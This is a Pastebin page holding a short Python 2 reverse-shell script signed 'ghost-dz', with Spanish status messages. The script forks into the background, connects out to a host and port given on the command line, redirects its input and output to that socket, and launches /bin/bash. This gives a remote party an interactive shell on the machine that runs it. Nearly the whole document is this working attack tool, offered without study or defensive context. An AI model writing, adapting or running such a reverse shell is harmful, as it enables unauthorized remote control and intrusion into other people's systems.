Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python -u
- # By ghost-dz
- import sys, socket, os
- if len(sys.argv) != 3:
- print "[x] Uso: %s [host] [port]" % (sys.argv[0])
- else:
- host = str(sys.argv[1])
- port = int(sys.argv[2])
- handler = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- try:
- try:
- if os.fork() > 0: os._exit(0)
- except OSError, error:
- print 'Error En Fork: %d (%s)' % (error.errno, error.strerror)
- pid = os.fork()
- if pid > 0:
- print 'Fork No Valido!'
- handler.connect((host, port))
- print "\n[x] Reverse Shell By ghost-dz.... OK\n"
- os.dup2(handler.fileno(), sys.stdin.fileno())
- os.dup2(handler.fileno(), sys.stdout.fileno())
- handler.sendall(('\n<----------------Reverse Shell By ghost-dz---------------->\n'))
- while handler.recv:
- handler.sendall(('\n[ghost-dz]#'))
- os.system('/bin/bash')
- except:
- print "[!] Error connection"
Advertisement
Add Comment
Please, Sign In to add comment